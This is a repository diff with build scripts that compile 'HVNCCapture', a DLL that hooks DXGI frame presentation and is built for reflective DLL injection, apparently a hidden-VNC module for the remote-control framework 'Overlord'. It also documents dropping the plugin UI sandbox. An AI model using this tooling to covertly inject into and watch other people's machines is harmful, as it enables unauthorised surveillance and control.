"!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
|
||||
) else (
|
||||
msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
|
||||
)
|
||||
if %ERRORLEVEL% neq 0 goto :error
|
||||
|
||||
if not exist "%OUT_DIR%\HVNCCapture.x64.dll" (
|
||||
echo ERROR: DLL not found in output directory.
|
||||
goto :error
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Built: %OUT_DIR%\HVNCCapture.x64.dll
|
||||
dir "%OUT_DIR%\HVNCCapture.x64.dll"
|
||||
|
||||
echo Done.
|
||||
exit /b 0
|
||||
|
||||
:error
|
||||
echo.
|
||||
echo BUILD FAILED
|
||||
exit /b 1
|
||||
@@ -0,0 +1,247 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build HVNCCapture DLL for Windows x64 using MinGW cross-compiler (C++).
|
||||
# Run from the repository root or from Docker.
|
||||
#
|
||||
# HVNCCapture hooks IDXGISwapChain::Present to capture frames from the GPU
|
||||
# process. It uses MinHook for hooking and ReflectiveLoader for injection.
|
||||
#
|
||||
# Requirements:
|
||||
# - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof)
|
||||
# - MinHook source under HVNCCapture/Minhook/
|
||||
#
|
||||
# If MinHook source is not available, you can pre-build the DLL with MSVC
|
||||
# on Windows using build-hvnc-capture-dll.bat and place the output at:
|
||||
# Overlord-Server/dist-clients/HVNCCapture.x64.dll
|
||||
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
# C++ compiler for COM / __uuidof support
|
||||
CXX="${CXX:-x86_64-w64-mingw32-g++}"
|
||||
CC="${CC:-x86_64-w64-mingw32-gcc}"
|
||||
SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-HVNCCapture/src}"
|
||||
OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||
DLL_NAME="HVNCCapture.x64.dll"
|
||||
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
|
||||
MINHOOK_REF="${MINHOOK_REF:-master}"
|
||||
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
|
||||
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-HVNCCapture/Minhook}"
|
||||
|
||||
mkdir -p "$OUT_DIR"
|
||||
|
||||
MINHOOK_DIR="$SRC_DIR/minhook"
|
||||
|
||||
stage_minhook_tree() {
|
||||
local source_root="$1"
|
||||
local include_root="${2:-$1}"
|
||||
|
||||
mkdir -p "$MINHOOK_DIR/hde"
|
||||
cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true
|
||||
cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true
|
||||
cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true
|
||||
cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true
|
||||
cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true
|
||||
cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
||||
cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
||||
cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
||||
cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
||||
cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
||||
cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
||||
cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
|
||||
|
||||
mkdir -p "$SRC_DIR/include"
|
||||
if [ -f "$source_root/MinHook.h" ]; then
|
||||
cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
|
||||
cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
|
||||
elif [ -f "$include_root/MinHook.h" ]; then
|
||||
cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
|
||||
cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
|
||||
fi
|
||||
}
|
||||
|
||||
stage_minhook_from_static_dir() {
|
||||
local candidate_src=""
|
||||
local candidate_include=""
|
||||
|
||||
for dir in "$MINHOOK_STATIC_DIR" "HVNCCapture/Minhook" "HVNCCapture/minhook"; do
|
||||
if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
|
||||
candidate_src="$dir"
|
||||
candidate_include="$dir"
|
||||
break
|
||||
fi
|
||||
|
||||
if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then
|
||||
candidate_src="$dir/src"
|
||||
if [ -f "$dir/include/MinHook.h" ]; then
|
||||
candidate_include="$dir/include"
|
||||
else
|
||||
candidate_include="$dir/src"
|
||||
fi
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -n "$candidate_src" ]; then
|
||||
echo "Using static MinHook source from $candidate_src"
|
||||
stage_minhook_tree "$candidate_src" "$candidate_include"
|
||||
return 0
|
||||
fi
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
# Verify C++ cross-compiler is available
|
||||
if ! command -v "$CXX" >/dev/null 2>&1; then
|
||||
echo "ERROR: C++ cross compiler not found: $CXX"
|
||||
echo "Install mingw-w64 (x86_64-w64-mingw32-g++) in your build image/environment."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
fetch_minhook() {
|
||||
if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
if ! command -v git >/dev/null 2>&1; then
|
||||
echo "WARNING: git is not available; cannot auto-fetch MinHook."
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..."
|
||||
local tmpdir
|
||||
tmpdir="$(mktemp -d)"
|
||||
|
||||
if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then
|
||||
rm -rf "$tmpdir"
|
||||
echo "WARNING: Failed to fetch MinHook source."
|
||||
return 1
|
||||
fi
|
||||
|
||||
stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include"
|
||||
cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
|
||||
mkdir -p "$SRC_DIR/include"
|
||||
cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
|
||||
rm -rf "$tmpdir"
|
||||
|
||||
[ -f "$MINHOOK_DIR/hook.c" ]
|
||||
}
|
||||
|
||||
# --- Stage MinHook source ---
|
||||
if [ ! -d "$MINHOOK_DIR" ]; then
|
||||
if ! stage_minhook_from_static_dir && ! fetch_minhook; then
|
||||
echo "WARNING: MinHook source not found at $MINHOOK_DIR"
|
||||
echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
|
||||
echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
|
||||
MINHOOK_OBJS=""
|
||||
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
||||
MINHOOK_INC=""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -d "$MINHOOK_DIR" ]; then
|
||||
if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then
|
||||
stage_minhook_from_static_dir || fetch_minhook || true
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then
|
||||
echo "Building MinHook from source ..."
|
||||
MINHOOK_OBJS=""
|
||||
MINHOOK_LIB=""
|
||||
MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde"
|
||||
|
||||
if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then
|
||||
mkdir -p "$SRC_DIR/include"
|
||||
if [ -f "$MINHOOK_DIR/MinHook.h" ]; then
|
||||
cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h"
|
||||
elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then
|
||||
cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h"
|
||||
fi
|
||||
fi
|
||||
|
||||
# MinHook is pure C — compile with gcc
|
||||
for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
|
||||
"$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \
|
||||
"$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do
|
||||
if [ -f "$src" ]; then
|
||||
obj="${src%.c}.o"
|
||||
"$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src"
|
||||
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -z "${MINHOOK_OBJS// }" ]; then
|
||||
echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib"
|
||||
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
||||
MINHOOK_INC=""
|
||||
fi
|
||||
else
|
||||
MINHOOK_OBJS=""
|
||||
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
||||
MINHOOK_INC=""
|
||||
fi
|
||||
|
||||
# --- Compile HVNCCapture sources ---
|
||||
# DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof
|
||||
CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
|
||||
CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
|
||||
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
|
||||
CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
CXXFLAGS="$CXXFLAGS -fno-stack-protector"
|
||||
CXXFLAGS="$CXXFLAGS -fno-asynchronous-unwind-tables"
|
||||
CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti"
|
||||
CXXFLAGS="$CXXFLAGS -I$SRC_DIR"
|
||||
if [ -n "${MINHOOK_INC:-}" ]; then
|
||||
CXXFLAGS="$CXXFLAGS $MINHOOK_INC"
|
||||
fi
|
||||
|
||||
# C flags for ReflectiveLoader (pure C, no C++)
|
||||
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
|
||||
CFLAGS="$CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
|
||||
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
|
||||
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
CFLAGS="$CFLAGS -fno-stack-protector"
|
||||
CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
|
||||
CFLAGS="$CFLAGS -I$SRC_DIR"
|
||||
if [ -n "${MINHOOK_INC:-}" ]; then
|
||||
CFLAGS="$CFLAGS $MINHOOK_INC"
|
||||
fi
|
||||
|
||||
echo "Compiling ReflectiveLoader.c ..."
|
||||
"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
|
||||
|
||||
echo "Compiling ReflectiveDll.c (C++) ..."
|
||||
"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
|
||||
|
||||
echo "Compiling DXGICapture.c (C++) ..."
|
||||
"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/DXGICapture.o" "$SRC_DIR/DXGICapture.c"
|
||||
|
||||
echo "Linking $DLL_NAME ..."
|
||||
LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/DXGICapture.o"
|
||||
if [ -n "${MINHOOK_OBJS:-}" ]; then
|
||||
LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
|
||||
fi
|
||||
LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -ld3d11 -ldxgi"
|
||||
if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
|
||||
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
|
||||
fi
|
||||
|
||||
"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
|
||||
-Wl,--entry,DllMain \
|
||||
-Wl,--no-seh \
|
||||
-Wl,--disable-runtime-pseudo-reloc \
|
||||
-fno-stack-protector \
|
||||
-fno-exceptions -fno-rtti \
|
||||
-static-libgcc -static-libstdc++ \
|
||||
-s
|
||||
|
||||
echo "Built: $OUT_DIR/$DLL_NAME"
|
||||
ls -la "$OUT_DIR/$DLL_NAME"
|
||||
|
||||
# Clean up object files
|
||||
rm -f "$SRC_DIR"/*.o
|
||||
if [ -d "$MINHOOK_DIR" ]; then
|
||||
find "$MINHOOK_DIR" -name '*.o' -delete
|
||||
fi
|
||||
|
||||
echo "Done."
|
||||
+12
-8
@@ -459,13 +459,19 @@ rustup target add aarch64-apple-darwin x86_64-apple-darwin
|
||||
|
||||
### Open the UI
|
||||
|
||||
Plugin UI is served from:
|
||||
Plugin UI is embedded directly in the main page at:
|
||||
|
||||
```
|
||||
/plugins/<pluginId>?clientId=<CLIENT_ID>
|
||||
```
|
||||
|
||||
Your HTML loads its JS/CSS from `/plugins/<pluginId>/assets/`.
|
||||
The server reads your `<pluginId>.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins/<pluginId>/assets/`.
|
||||
|
||||
To get the `clientId` in your JS:
|
||||
|
||||
```js
|
||||
const clientId = new URLSearchParams(window.location.search).get("clientId");
|
||||
```
|
||||
|
||||
## 6) Runtime: how events flow
|
||||
|
||||
@@ -542,15 +548,13 @@ Plugins have the same capabilities as the agent itself.
|
||||
| Rust | Yes | Minimal |
|
||||
| Go | **No** ([#11100](https://github.com/golang/go/issues/11100)) | Go runtime + GC |
|
||||
|
||||
### UI Security constraints
|
||||
### UI embedding
|
||||
|
||||
Plugin UI pages are still served with a tight CSP:
|
||||
Plugin UI pages are embedded **directly** into the main Overlord page — no iframe, no sandbox, no bridge. The server reads your plugin's HTML, extracts the `<body>` content and any `<link>`/`<style>` tags from the `<head>`, and injects them into the standard page layout (with nav bar, Tailwind CSS, etc.).
|
||||
|
||||
- Scripts must be same-origin
|
||||
- No third-party JS/CDN
|
||||
- WebSocket and fetch are allowed to same origin
|
||||
Your plugin JS runs in the same browsing context as the main UI, so `fetch()` calls to the API work directly — no special bridge or proxy needed.
|
||||
|
||||
Plugin UIs run in a **sandboxed iframe** with a fetch bridge.
|
||||
Plugin assets (CSS, JS, images) are served from `/plugins/<pluginId>/assets/`.
|
||||
|
||||
## 8) API surface
|
||||
|
||||
|
||||
Reference in New Issue
Block a user